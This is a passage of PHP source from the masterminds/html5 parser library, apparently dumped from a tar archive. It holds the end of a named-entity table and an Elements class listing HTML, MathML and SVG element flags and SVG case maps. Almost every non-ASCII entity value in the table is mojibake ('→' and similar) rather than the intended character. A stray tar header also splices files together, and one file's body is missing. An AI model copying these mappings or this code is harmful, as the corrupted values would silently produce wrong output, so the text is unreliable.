'rarr' => '→', 'rarrap' => '⥵', 'rarrb' => '⇥', 'rarrbfs' => '⤠', 'rarrc' => '⤳', 'rarrfs' => '⤞', 'rarrhk' => '↪', 'rarrlp' => '↬', 'rarrpl' => '⥅', 'rarrsim' => '⥴', 'Rarrtl' => '⤖', 'rarrtl' => '↣', 'rarrw' => 'â†', 'rAtail' => '⤜', 'ratail' => '⤚', 'ratio' => '∶', 'rationals' => 'â„š', 'RBarr' => 'â¤', 'rBarr' => 'â¤', 'rbarr' => 'â¤', 'rbbrk' => 'â³', 'rbrace' => '}', 'rbrack' => ']', 'rbrke' => '⦌', 'rbrksld' => '⦎', 'rbrkslu' => 'â¦', 'Rcaron' => 'Ř', 'rcaron' => 'Å™', 'Rcedil' => 'Å–', 'rcedil' => 'Å—', 'rceil' => '⌉', 'rcub' => '}', 'Rcy' => 'Р', 'rcy' => 'Ñ€', 'rdca' => '⤷', 'rdldhar' => '⥩', 'rdquo' => 'â€', 'rdquor' => 'â€', 'rdsh' => '↳', 'Re' => 'â„œ', 'real' => 'â„œ', 'realine' => 'â„›', 'realpart' => 'â„œ', 'reals' => 'â„', 'rect' => 'â–­', 'REG' => '®', 'RE' => '®', 'reg' => '®', 're' => '®', 'ReverseElement' => '∋', 'ReverseEquilibrium' => '⇋', 'ReverseUpEquilibrium' => '⥯', 'rfisht' => '⥽', 'rfloor' => '⌋', 'Rfr' => 'â„œ', 'rfr' => 'ð”¯', 'rHar' => '⥤', 'rhard' => 'â‡', 'rharu' => '⇀', 'rharul' => '⥬', 'Rho' => 'Ρ', 'rho' => 'Ï', 'rhov' => 'ϱ', 'RightAngleBracket' => '⟩', 'RightArrow' => '→', 'Rightarrow' => '⇒', 'rightarrow' => '→', 'RightArrowBar' => '⇥', 'RightArrowLeftArrow' => '⇄', 'rightarrowtail' => '↣', 'RightCeiling' => '⌉', 'RightDoubleBracket' => '⟧', 'RightDownTeeVector' => 'â¥', 'RightDownVector' => '⇂', 'RightDownVectorBar' => '⥕', 'RightFloor' => '⌋', 'rightharpoondown' => 'â‡', 'rightharpoonup' => '⇀', 'rightleftarrows' => '⇄', 'rightleftharpoons' => '⇌', 'rightrightarrows' => '⇉', 'rightsquigarrow' => 'â†', 'RightTee' => '⊢', 'RightTeeArrow' => '↦', 'RightTeeVector' => '⥛', 'rightthreetimes' => 'â‹Œ', 'RightTriangle' => '⊳', 'RightTriangleBar' => 'â§', 'RightTriangleEqual' => '⊵', 'RightUpDownVector' => 'â¥', 'RightUpTeeVector' => '⥜', 'RightUpVector' => '↾', 'RightUpVectorBar' => '⥔', 'RightVector' => '⇀', 'RightVectorBar' => '⥓', 'ring' => 'Ëš', 'risingdotseq' => '≓', 'rlarr' => '⇄', 'rlhar' => '⇌', 'rlm' => 'â€', 'rmoust' => '⎱', 'rmoustache' => '⎱', 'rnmid' => 'â«®', 'roang' => '⟭', 'roarr' => '⇾', 'robrk' => '⟧', 'ropar' => '⦆', 'Ropf' => 'â„', 'ropf' => 'ð•£', 'roplus' => '⨮', 'rotimes' => '⨵', 'RoundImplies' => '⥰', 'rpar' => ')', 'rpargt' => '⦔', 'rppolint' => '⨒', 'rrarr' => '⇉', 'Rrightarrow' => '⇛', 'rsaquo' => '›', 'Rscr' => 'â„›', 'rscr' => 'ð“‡', 'Rsh' => '↱', 'rsh' => '↱', 'rsqb' => ']', 'rsquo' => '’', 'rsquor' => '’', 'rthree' => 'â‹Œ', 'rtimes' => 'â‹Š', 'rtri' => 'â–¹', 'rtrie' => '⊵', 'rtrif' => 'â–¸', 'rtriltri' => '⧎', 'RuleDelayed' => '⧴', 'ruluhar' => '⥨', 'rx' => 'â„ž', 'Sacute' => 'Åš', 'sacute' => 'Å›', 'sbquo' => '‚', 'Sc' => '⪼', 'sc' => '≻', 'scap' => '⪸', 'Scaron' => 'Å ', 'scaron' => 'Å¡', 'sccue' => '≽', 'scE' => '⪴', 'sce' => '⪰', 'Scedil' => 'Åž', 'scedil' => 'ÅŸ', 'Scirc' => 'Åœ', 'scirc' => 'Å', 'scnap' => '⪺', 'scnE' => '⪶', 'scnsim' => 'â‹©', 'scpolint' => '⨓', 'scsim' => '≿', 'Scy' => 'С', 'scy' => 'Ñ', 'sdot' => 'â‹…', 'sdotb' => '⊡', 'sdote' => '⩦', 'searhk' => '⤥', 'seArr' => '⇘', 'searr' => '↘', 'searrow' => '↘', 'sect' => '§', 'sec' => '§', 'semi' => ';', 'seswar' => '⤩', 'setminus' => '∖', 'setmn' => '∖', 'sext' => '✶', 'Sfr' => 'ð”–', 'sfr' => 'ð”°', 'sfrown' => '⌢', 'sharp' => '♯', 'SHCHcy' => 'Щ', 'shchcy' => 'щ', 'SHcy' => 'Ш', 'shcy' => 'ш', 'ShortDownArrow' => '↓', 'ShortLeftArrow' => 'â†', 'shortmid' => '∣', 'shortparallel' => '∥', 'ShortRightArrow' => '→', 'ShortUpArrow' => '↑', 'shy' => '­', 'sh' => '­', 'Sigma' => 'Σ', 'sigma' => 'σ', 'sigmaf' => 'Ï‚', 'sigmav' => 'Ï‚', 'sim' => '∼', 'simdot' => '⩪', 'sime' => '≃', 'simeq' => '≃', 'simg' => '⪞', 'simgE' => '⪠', 'siml' => 'âª', 'simlE' => '⪟', 'simne' => '≆', 'simplus' => '⨤', 'simrarr' => '⥲', 'slarr' => 'â†', 'SmallCircle' => '∘', 'smallsetminus' => '∖', 'smashp' => '⨳', 'smeparsl' => '⧤', 'smid' => '∣', 'smile' => '⌣', 'smt' => '⪪', 'smte' => '⪬', 'smtes' => '⪬︀', 'SOFTcy' => 'Ь', 'softcy' => 'ÑŒ', 'sol' => '/', 'solb' => '⧄', 'solbar' => '⌿', 'Sopf' => 'ð•Š', 'sopf' => 'ð•¤', 'spades' => 'â™ ', 'spadesuit' => 'â™ ', 'spar' => '∥', 'sqcap' => '⊓', 'sqcaps' => '⊓︀', 'sqcup' => '⊔', 'sqcups' => '⊔︀', 'Sqrt' => '√', 'sqsub' => 'âŠ', 'sqsube' => '⊑', 'sqsubset' => 'âŠ', 'sqsubseteq' => '⊑', 'sqsup' => 'âŠ', 'sqsupe' => '⊒', 'sqsupset' => 'âŠ', 'sqsupseteq' => '⊒', 'squ' => 'â–¡', 'Square' => 'â–¡', 'square' => 'â–¡', 'SquareIntersection' => '⊓', 'SquareSubset' => 'âŠ', 'SquareSubsetEqual' => '⊑', 'SquareSuperset' => 'âŠ', 'SquareSupersetEqual' => '⊒', 'SquareUnion' => '⊔', 'squarf' => 'â–ª', 'squf' => 'â–ª', 'srarr' => '→', 'Sscr' => 'ð’®', 'sscr' => 'ð“ˆ', 'ssetmn' => '∖', 'ssmile' => '⌣', 'sstarf' => '⋆', 'Star' => '⋆', 'star' => '☆', 'starf' => '★', 'straightepsilon' => 'ϵ', 'straightphi' => 'Ï•', 'strns' => '¯', 'Sub' => 'â‹', 'sub' => '⊂', 'subdot' => '⪽', 'subE' => 'â«…', 'sube' => '⊆', 'subedot' => '⫃', 'submult' => 'â«', 'subnE' => 'â«‹', 'subne' => '⊊', 'subplus' => '⪿', 'subrarr' => '⥹', 'Subset' => 'â‹', 'subset' => '⊂', 'subseteq' => '⊆', 'subseteqq' => 'â«…', 'SubsetEqual' => '⊆', 'subsetneq' => '⊊', 'subsetneqq' => 'â«‹', 'subsim' => '⫇', 'subsub' => 'â«•', 'subsup' => 'â«“', 'succ' => '≻', 'succapprox' => '⪸', 'succcurlyeq' => '≽', 'Succeeds' => '≻', 'SucceedsEqual' => '⪰', 'SucceedsSlantEqual' => '≽', 'SucceedsTilde' => '≿', 'succeq' => '⪰', 'succnapprox' => '⪺', 'succneqq' => '⪶', 'succnsim' => 'â‹©', 'succsim' => '≿', 'SuchThat' => '∋', 'Sum' => '∑', 'sum' => '∑', 'sung' => '♪', 'Sup' => 'â‹‘', 'sup' => '³', 'sup1' => '¹', 'sup2' => '²', 'sup3' => '³', 'supdot' => '⪾', 'supdsub' => '⫘', 'supE' => '⫆', 'supe' => '⊇', 'supedot' => 'â«„', 'Superset' => '⊃', 'SupersetEqual' => '⊇', 'suphsol' => '⟉', 'suphsub' => 'â«—', 'suplarr' => '⥻', 'supmult' => 'â«‚', 'supnE' => 'â«Œ', 'supne' => '⊋', 'supplus' => 'â«€', 'Supset' => 'â‹‘', 'supset' => '⊃', 'supseteq' => '⊇', 'supseteqq' => '⫆', 'supsetneq' => '⊋', 'supsetneqq' => 'â«Œ', 'supsim' => '⫈', 'supsub' => 'â«”', 'supsup' => 'â«–', 'swarhk' => '⤦', 'swArr' => '⇙', 'swarr' => '↙', 'swarrow' => '↙', 'swnwar' => '⤪', 'szlig' => 'ß', 'szli' => 'ß', 'Tab' => ' ', 'target' => '⌖', 'Tau' => 'Τ', 'tau' => 'Ï„', 'tbrk' => '⎴', 'Tcaron' => 'Ť', 'tcaron' => 'Å¥', 'Tcedil' => 'Å¢', 'tcedil' => 'Å£', 'Tcy' => 'Т', 'tcy' => 'Ñ‚', 'tdot' => '⃛', 'telrec' => '⌕', 'Tfr' => 'ð”—', 'tfr' => 'ð”±', 'there4' => '∴', 'Therefore' => '∴', 'therefore' => '∴', 'Theta' => 'Θ', 'theta' => 'θ', 'thetasym' => 'Ï‘', 'thetav' => 'Ï‘', 'thickapprox' => '≈', 'thicksim' => '∼', 'ThickSpace' => 'âŸâ€Š', 'thinsp' => ' ', 'ThinSpace' => ' ', 'thkap' => '≈', 'thksim' => '∼', 'THORN' => 'Þ', 'THOR' => 'Þ', 'thorn' => 'þ', 'thor' => 'þ', 'Tilde' => '∼', 'tilde' => 'Ëœ', 'TildeEqual' => '≃', 'TildeFullEqual' => '≅', 'TildeTilde' => '≈', 'times' => '×', 'time' => '×', 'timesb' => '⊠', 'timesbar' => '⨱', 'timesd' => '⨰', 'tint' => '∭', 'toea' => '⤨', 'top' => '⊤', 'topbot' => '⌶', 'topcir' => '⫱', 'Topf' => 'ð•‹', 'topf' => 'ð•¥', 'topfork' => 'â«š', 'tosa' => '⤩', 'tprime' => '‴', 'TRADE' => 'â„¢', 'trade' => 'â„¢', 'triangle' => 'â–µ', 'triangledown' => 'â–¿', 'triangleleft' => 'â—ƒ', 'trianglelefteq' => '⊴', 'triangleq' => '≜', 'triangleright' => 'â–¹', 'trianglerighteq' => '⊵', 'tridot' => 'â—¬', 'trie' => '≜', 'triminus' => '⨺', 'TripleDot' => '⃛', 'triplus' => '⨹', 'trisb' => 'â§', 'tritime' => '⨻', 'trpezium' => 'â¢', 'Tscr' => 'ð’¯', 'tscr' => 'ð“‰', 'TScy' => 'Ц', 'tscy' => 'ц', 'TSHcy' => 'Ћ', 'tshcy' => 'Ñ›', 'Tstrok' => 'Ŧ', 'tstrok' => 'ŧ', 'twixt' => '≬', 'twoheadleftarrow' => '↞', 'twoheadrightarrow' => '↠', 'Uacute' => 'Ú', 'Uacut' => 'Ú', 'uacute' => 'ú', 'uacut' => 'ú', 'Uarr' => '↟', 'uArr' => '⇑', 'uarr' => '↑', 'Uarrocir' => '⥉', 'Ubrcy' => 'ÐŽ', 'ubrcy' => 'Ñž', 'Ubreve' => 'Ŭ', 'ubreve' => 'Å­', 'Ucirc' => 'Û', 'Ucir' => 'Û', 'ucirc' => 'û', 'ucir' => 'û', 'Ucy' => 'У', 'ucy' => 'у', 'udarr' => '⇅', 'Udblac' => 'Å°', 'udblac' => 'ű', 'udhar' => '⥮', 'ufisht' => '⥾', 'Ufr' => 'ð”˜', 'ufr' => 'ð”²', 'Ugrave' => 'Ù', 'Ugrav' => 'Ù', 'ugrave' => 'ù', 'ugrav' => 'ù', 'uHar' => '⥣', 'uharl' => '↿', 'uharr' => '↾', 'uhblk' => 'â–€', 'ulcorn' => '⌜', 'ulcorner' => '⌜', 'ulcrop' => 'âŒ', 'ultri' => 'â—¸', 'Umacr' => 'Ū', 'umacr' => 'Å«', 'uml' => '¨', 'um' => '¨', 'UnderBar' => '_', 'UnderBrace' => 'âŸ', 'UnderBracket' => '⎵', 'UnderParenthesis' => 'â', 'Union' => '⋃', 'UnionPlus' => '⊎', 'Uogon' => 'Ų', 'uogon' => 'ų', 'Uopf' => 'ð•Œ', 'uopf' => 'ð•¦', 'UpArrow' => '↑', 'Uparrow' => '⇑', 'uparrow' => '↑', 'UpArrowBar' => '⤒', 'UpArrowDownArrow' => '⇅', 'UpDownArrow' => '↕', 'Updownarrow' => '⇕', 'updownarrow' => '↕', 'UpEquilibrium' => '⥮', 'upharpoonleft' => '↿', 'upharpoonright' => '↾', 'uplus' => '⊎', 'UpperLeftArrow' => '↖', 'UpperRightArrow' => '↗', 'Upsi' => 'Ï’', 'upsi' => 'Ï…', 'upsih' => 'Ï’', 'Upsilon' => 'Î¥', 'upsilon' => 'Ï…', 'UpTee' => '⊥', 'UpTeeArrow' => '↥', 'upuparrows' => '⇈', 'urcorn' => 'âŒ', 'urcorner' => 'âŒ', 'urcrop' => '⌎', 'Uring' => 'Å®', 'uring' => 'ů', 'urtri' => 'â—¹', 'Uscr' => 'ð’°', 'uscr' => 'ð“Š', 'utdot' => 'â‹°', 'Utilde' => 'Ũ', 'utilde' => 'Å©', 'utri' => 'â–µ', 'utrif' => 'â–´', 'uuarr' => '⇈', 'Uuml' => 'Ãœ', 'Uum' => 'Ãœ', 'uuml' => 'ü', 'uum' => 'ü', 'uwangle' => '⦧', 'vangrt' => '⦜', 'varepsilon' => 'ϵ', 'varkappa' => 'Ï°', 'varnothing' => '∅', 'varphi' => 'Ï•', 'varpi' => 'Ï–', 'varpropto' => 'âˆ', 'vArr' => '⇕', 'varr' => '↕', 'varrho' => 'ϱ', 'varsigma' => 'Ï‚', 'varsubsetneq' => '⊊︀', 'varsubsetneqq' => '⫋︀', 'varsupsetneq' => '⊋︀', 'varsupsetneqq' => '⫌︀', 'vartheta' => 'Ï‘', 'vartriangleleft' => '⊲', 'vartriangleright' => '⊳', 'Vbar' => 'â««', 'vBar' => '⫨', 'vBarv' => 'â«©', 'Vcy' => 'Ð’', 'vcy' => 'в', 'VDash' => '⊫', 'Vdash' => '⊩', 'vDash' => '⊨', 'vdash' => '⊢', 'Vdashl' => '⫦', 'Vee' => 'â‹', 'vee' => '∨', 'veebar' => '⊻', 'veeeq' => '≚', 'vellip' => 'â‹®', 'Verbar' => '‖', 'verbar' => '|', 'Vert' => '‖', 'vert' => '|', 'VerticalBar' => '∣', 'VerticalLine' => '|', 'VerticalSeparator' => 'â˜', 'VerticalTilde' => '≀', 'VeryThinSpace' => ' ', 'Vfr' => 'ð”™', 'vfr' => 'ð”³', 'vltri' => '⊲', 'vnsub' => '⊂⃒', 'vnsup' => '⊃⃒', 'Vopf' => 'ð•', 'vopf' => 'ð•§', 'vprop' => 'âˆ', 'vrtri' => '⊳', 'Vscr' => 'ð’±', 'vscr' => 'ð“‹', 'vsubnE' => '⫋︀', 'vsubne' => '⊊︀', 'vsupnE' => '⫌︀', 'vsupne' => '⊋︀', 'Vvdash' => '⊪', 'vzigzag' => '⦚', 'Wcirc' => 'Å´', 'wcirc' => 'ŵ', 'wedbar' => 'â©Ÿ', 'Wedge' => 'â‹€', 'wedge' => '∧', 'wedgeq' => '≙', 'weierp' => '℘', 'Wfr' => 'ð”š', 'wfr' => 'ð”´', 'Wopf' => 'ð•Ž', 'wopf' => 'ð•¨', 'wp' => '℘', 'wr' => '≀', 'wreath' => '≀', 'Wscr' => 'ð’²', 'wscr' => 'ð“Œ', 'xcap' => 'â‹‚', 'xcirc' => 'â—¯', 'xcup' => '⋃', 'xdtri' => 'â–½', 'Xfr' => 'ð”›', 'xfr' => 'ð”µ', 'xhArr' => '⟺', 'xharr' => '⟷', 'Xi' => 'Ξ', 'xi' => 'ξ', 'xlArr' => '⟸', 'xlarr' => '⟵', 'xmap' => '⟼', 'xnis' => 'â‹»', 'xodot' => '⨀', 'Xopf' => 'ð•', 'xopf' => 'ð•©', 'xoplus' => 'â¨', 'xotime' => '⨂', 'xrArr' => '⟹', 'xrarr' => '⟶', 'Xscr' => 'ð’³', 'xscr' => 'ð“', 'xsqcup' => '⨆', 'xuplus' => '⨄', 'xutri' => 'â–³', 'xvee' => 'â‹', 'xwedge' => 'â‹€', 'Yacute' => 'Ã', 'Yacut' => 'Ã', 'yacute' => 'ý', 'yacut' => 'ý', 'YAcy' => 'Я', 'yacy' => 'Ñ', 'Ycirc' => 'Ŷ', 'ycirc' => 'Å·', 'Ycy' => 'Ы', 'ycy' => 'Ñ‹', 'yen' => 'Â¥', 'ye' => 'Â¥', 'Yfr' => 'ð”œ', 'yfr' => 'ð”¶', 'YIcy' => 'Ї', 'yicy' => 'Ñ—', 'Yopf' => 'ð•', 'yopf' => 'ð•ª', 'Yscr' => 'ð’´', 'yscr' => 'ð“Ž', 'YUcy' => 'Ю', 'yucy' => 'ÑŽ', 'Yuml' => 'Ÿ', 'yuml' => 'ÿ', 'yum' => 'ÿ', 'Zacute' => 'Ź', 'zacute' => 'ź', 'Zcaron' => 'Ž', 'zcaron' => 'ž', 'Zcy' => 'З', 'zcy' => 'з', 'Zdot' => 'Å»', 'zdot' => 'ż', 'zeetrf' => 'ℨ', 'ZeroWidthSpace' => '​', 'Zeta' => 'Ζ', 'zeta' => 'ζ', 'Zfr' => 'ℨ', 'zfr' => 'ð”·', 'ZHcy' => 'Ж', 'zhcy' => 'ж', 'zigrarr' => 'â‡', 'Zopf' => 'ℤ', 'zopf' => 'ð•«', 'Zscr' => 'ð’µ', 'zscr' => 'ð“', 'zwj' => 'â€', 'zwnj' => '‌', ); } res/readability/vendor/masterminds/html5/src/HTML5/Exception.php000064400000000201147577714370020610 0ustar00 1, 'abbr' => 1, 'address' => 65, // NORMAL | BLOCK_TAG 'area' => 9, // NORMAL | VOID_TAG 'article' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'aside' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'audio' => 1, // NORMAL 'b' => 1, 'base' => 9, // NORMAL | VOID_TAG 'bdi' => 1, 'bdo' => 1, 'blockquote' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'body' => 1, 'br' => 9, // NORMAL | VOID_TAG 'button' => 1, 'canvas' => 65, // NORMAL | BLOCK_TAG 'caption' => 1, 'cite' => 1, 'code' => 1, 'col' => 9, // NORMAL | VOID_TAG 'colgroup' => 1, 'command' => 9, // NORMAL | VOID_TAG // "data" => 1, // This is highly experimental and only part of the whatwg spec (not w3c). See https://developer.mozilla.org/en-US/docs/HTML/Element/data 'datalist' => 1, 'dd' => 65, // NORMAL | BLOCK_TAG 'del' => 1, 'details' => 17, // NORMAL | AUTOCLOSE_P, 'dfn' => 1, 'dialog' => 17, // NORMAL | AUTOCLOSE_P, 'div' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'dl' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'dt' => 1, 'em' => 1, 'embed' => 9, // NORMAL | VOID_TAG 'fieldset' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'figcaption' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'figure' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'footer' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'form' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'h1' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'h2' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'h3' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'h4' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'h5' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'h6' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'head' => 1, 'header' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'hgroup' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'hr' => 73, // NORMAL | VOID_TAG 'html' => 1, 'i' => 1, 'iframe' => 3, // NORMAL | TEXT_RAW 'img' => 9, // NORMAL | VOID_TAG 'input' => 9, // NORMAL | VOID_TAG 'kbd' => 1, 'ins' => 1, 'keygen' => 9, // NORMAL | VOID_TAG 'label' => 1, 'legend' => 1, 'li' => 1, 'link' => 9, // NORMAL | VOID_TAG 'map' => 1, 'mark' => 1, 'menu' => 17, // NORMAL | AUTOCLOSE_P, 'meta' => 9, // NORMAL | VOID_TAG 'meter' => 1, 'nav' => 17, // NORMAL | AUTOCLOSE_P, 'noscript' => 65, // NORMAL | BLOCK_TAG 'object' => 1, 'ol' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'optgroup' => 1, 'option' => 1, 'output' => 65, // NORMAL | BLOCK_TAG 'p' => 209, // NORMAL | AUTOCLOSE_P | BLOCK_TAG | BLOCK_ONLY_INLINE 'param' => 9, // NORMAL | VOID_TAG 'pre' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'progress' => 1, 'q' => 1, 'rp' => 1, 'rt' => 1, 'ruby' => 1, 's' => 1, 'samp' => 1, 'script' => 3, // NORMAL | TEXT_RAW 'section' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'select' => 1, 'small' => 1, 'source' => 9, // NORMAL | VOID_TAG 'span' => 1, 'strong' => 1, 'style' => 3, // NORMAL | TEXT_RAW 'sub' => 1, 'summary' => 17, // NORMAL | AUTOCLOSE_P, 'sup' => 1, 'table' => 65, // NORMAL | BLOCK_TAG 'tbody' => 1, 'td' => 1, 'textarea' => 5, // NORMAL | TEXT_RCDATA 'tfoot' => 65, // NORMAL | BLOCK_TAG 'th' => 1, 'thead' => 1, 'time' => 1, 'title' => 5, // NORMAL | TEXT_RCDATA 'tr' => 1, 'track' => 9, // NORMAL | VOID_TAG 'u' => 1, 'ul' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG 'var' => 1, 'video' => 65, // NORMAL | BLOCK_TAG 'wbr' => 9, // NORMAL | VOID_TAG // Legacy? 'basefont' => 8, // VOID_TAG 'bgsound' => 8, // VOID_TAG 'noframes' => 2, // RAW_TEXT 'frame' => 9, // NORMAL | VOID_TAG 'frameset' => 1, 'center' => 16, 'dir' => 16, 'listing' => 16, // AUTOCLOSE_P 'plaintext' => 48, // AUTOCLOSE_P | TEXT_PLAINTEXT 'applet' => 0, 'marquee' => 0, 'isindex' => 8, // VOID_TAG 'xmp' => 20, // AUTOCLOSE_P | VOID_TAG | RAW_TEXT 'noembed' => 2, // RAW_TEXT ); /** * The MathML elements. * See http://www.w3.org/wiki/MathML/Elements. * * In our case we are only concerned with presentation MathML and not content * MathML. There is a nice list of this subset at https://developer.mozilla.org/en-US/docs/MathML/Element. * * @var array */ public static $mathml = array( 'maction' => 1, 'maligngroup' => 1, 'malignmark' => 1, 'math' => 1, 'menclose' => 1, 'merror' => 1, 'mfenced' => 1, 'mfrac' => 1, 'mglyph' => 1, 'mi' => 1, 'mlabeledtr' => 1, 'mlongdiv' => 1, 'mmultiscripts' => 1, 'mn' => 1, 'mo' => 1, 'mover' => 1, 'mpadded' => 1, 'mphantom' => 1, 'mroot' => 1, 'mrow' => 1, 'ms' => 1, 'mscarries' => 1, 'mscarry' => 1, 'msgroup' => 1, 'msline' => 1, 'mspace' => 1, 'msqrt' => 1, 'msrow' => 1, 'mstack' => 1, 'mstyle' => 1, 'msub' => 1, 'msup' => 1, 'msubsup' => 1, 'mtable' => 1, 'mtd' => 1, 'mtext' => 1, 'mtr' => 1, 'munder' => 1, 'munderover' => 1, ); /** * The svg elements. * * The Mozilla documentation has a good list at https://developer.mozilla.org/en-US/docs/SVG/Element. * The w3c list appears to be lacking in some areas like filter effect elements. * That list can be found at http://www.w3.org/wiki/SVG/Elements. * * Note, FireFox appears to do a better job rendering filter effects than chrome. * While they are in the spec I'm not sure how widely implemented they are. * * @var array */ public static $svg = array( 'a' => 1, 'altGlyph' => 1, 'altGlyphDef' => 1, 'altGlyphItem' => 1, 'animate' => 1, 'animateColor' => 1, 'animateMotion' => 1, 'animateTransform' => 1, 'circle' => 1, 'clipPath' => 1, 'color-profile' => 1, 'cursor' => 1, 'defs' => 1, 'desc' => 1, 'ellipse' => 1, 'feBlend' => 1, 'feColorMatrix' => 1, 'feComponentTransfer' => 1, 'feComposite' => 1, 'feConvolveMatrix' => 1, 'feDiffuseLighting' => 1, 'feDisplacementMap' => 1, 'feDistantLight' => 1, 'feFlood' => 1, 'feFuncA' => 1, 'feFuncB' => 1, 'feFuncG' => 1, 'feFuncR' => 1, 'feGaussianBlur' => 1, 'feImage' => 1, 'feMerge' => 1, 'feMergeNode' => 1, 'feMorphology' => 1, 'feOffset' => 1, 'fePointLight' => 1, 'feSpecularLighting' => 1, 'feSpotLight' => 1, 'feTile' => 1, 'feTurbulence' => 1, 'filter' => 1, 'font' => 1, 'font-face' => 1, 'font-face-format' => 1, 'font-face-name' => 1, 'font-face-src' => 1, 'font-face-uri' => 1, 'foreignObject' => 1, 'g' => 1, 'glyph' => 1, 'glyphRef' => 1, 'hkern' => 1, 'image' => 1, 'line' => 1, 'linearGradient' => 1, 'marker' => 1, 'mask' => 1, 'metadata' => 1, 'missing-glyph' => 1, 'mpath' => 1, 'path' => 1, 'pattern' => 1, 'polygon' => 1, 'polyline' => 1, 'radialGradient' => 1, 'rect' => 1, 'script' => 3, // NORMAL | RAW_TEXT 'set' => 1, 'stop' => 1, 'style' => 3, // NORMAL | RAW_TEXT 'svg' => 1, 'switch' => 1, 'symbol' => 1, 'text' => 1, 'textPath' => 1, 'title' => 1, 'tref' => 1, 'tspan' => 1, 'use' => 1, 'view' => 1, 'vkern' => 1, ); /** * Some attributes in SVG are case sensitive. * * This map contains key/value pairs with the key as the lowercase attribute * name and the value with the correct casing. */ public static $svgCaseSensitiveAttributeMap = array( 'attributename' => 'attributeName', 'attributetype' => 'attributeType', 'basefrequency' => 'baseFrequency', 'baseprofile' => 'baseProfile', 'calcmode' => 'calcMode', 'clippathunits' => 'clipPathUnits', 'contentscripttype' => 'contentScriptType', 'contentstyletype' => 'contentStyleType', 'diffuseconstant' => 'diffuseConstant', 'edgemode' => 'edgeMode', 'externalresourcesrequired' => 'externalResourcesRequired', 'filterres' => 'filterRes', 'filterunits' => 'filterUnits', 'glyphref' => 'glyphRef', 'gradienttransform' => 'gradientTransform', 'gradientunits' => 'gradientUnits', 'kernelmatrix' => 'kernelMatrix', 'kernelunitlength' => 'kernelUnitLength', 'keypoints' => 'keyPoints', 'keysplines' => 'keySplines', 'keytimes' => 'keyTimes', 'lengthadjust' => 'lengthAdjust', 'limitingconeangle' => 'limitingConeAngle', 'markerheight' => 'markerHeight', 'markerunits' => 'markerUnits', 'markerwidth' => 'markerWidth', 'maskcontentunits' => 'maskContentUnits', 'maskunits' => 'maskUnits', 'numoctaves' => 'numOctaves', 'pathlength' => 'pathLength', 'patterncontentunits' => 'patternContentUnits', 'patterntransform' => 'patternTransform', 'patternunits' => 'patternUnits', 'pointsatx' => 'pointsAtX', 'pointsaty' => 'pointsAtY', 'pointsatz' => 'pointsAtZ', 'preservealpha' => 'preserveAlpha', 'preserveaspectratio' => 'preserveAspectRatio', 'primitiveunits' => 'primitiveUnits', 'refx' => 'refX', 'refy' => 'refY', 'repeatcount' => 'repeatCount', 'repeatdur' => 'repeatDur', 'requiredextensions' => 'requiredExtensions', 'requiredfeatures' => 'requiredFeatures', 'specularconstant' => 'specularConstant', 'specularexponent' => 'specularExponent', 'spreadmethod' => 'spreadMethod', 'startoffset' => 'startOffset', 'stddeviation' => 'stdDeviation', 'stitchtiles' => 'stitchTiles', 'surfacescale' => 'surfaceScale', 'systemlanguage' => 'systemLanguage', 'tablevalues' => 'tableValues', 'targetx' => 'targetX', 'targety' => 'targetY', 'textlength' => 'textLength', 'viewbox' => 'viewBox', 'viewtarget' => 'viewTarget', 'xchannelselector' => 'xChannelSelector', 'ychannelselector' => 'yChannelSelector', 'zoomandpan' => 'zoomAndPan', ); /** * Some SVG elements are case sensitive. * This map contains these. * * The map contains key/value store of the name is lowercase as the keys and * the correct casing as the value. */ public static $svgCaseSensitiveElementMap = array( 'altglyph' => 'altGlyph', 'altglyphdef' => 'altGlyphDef', 'altglyphitem' => 'altGlyphItem', 'animatecolor' => 'animateColor', 'animatemotion' => 'animateMotion', 'animatetransform' => 'animateTransform', 'clippath' => 'clipPath', 'feblend' => 'feBlend', 'fecolormatrix' => 'feColorMatrix', 'fecomponenttransfer' => 'feComponentTransfer', 'fecomposite' => 'feComposite', 'feconvolvematrix' => 'feConvolveMatrix', 'fediffuselighting' => 'feDiffuseLighting', 'fedisplacementmap' => 'feDisplacementMap', 'fedistantlight' => 'feDistantLight', 'feflood' => 'feFlood', 'fefunca' => 'feFuncA', 'fefuncb' => 'feFuncB', 'fefuncg' => 'feFuncG', 'fefuncr' => 'feFuncR', 'fegaussianblur' => 'feGaussianBlur', 'feimage' => 'feImage', 'femerge' => 'feMerge', 'femergenode' => 'feMergeNode', 'femorphology' => 'feMorphology', 'feoffset' => 'feOffset', 'fepointlight' => 'fePointLight', 'fespecularlighting' => 'feSpecularLighting', 'fespotlight' => 'feSpotLight', 'fetile' => 'feTile', 'feturbulence' => 'feTurbulence', 'foreignobject' => 'foreignObject', 'glyphref' => 'glyphRef', 'lineargradient' => 'linearGradient', 'radialgradient' => 'radialGradient', 'textpath' => 'textPath', ); /** * Check whether the given element meets the given criterion. * * Example: * * Elements::isA('script', Elements::TEXT_RAW); // Returns true. * * Elements::isA('script', Elements::TEXT_RCDATA); // Returns false. * * @param string $name The element name. * @param int $mask One of the constants on this class. * * @return bool true if the element matches the mask, false otherwise. */ public static function isA($name, $mask) { return (static::element($name) & $mask) === $mask; } /** * Test if an element is a valid html5 element. * * @param string 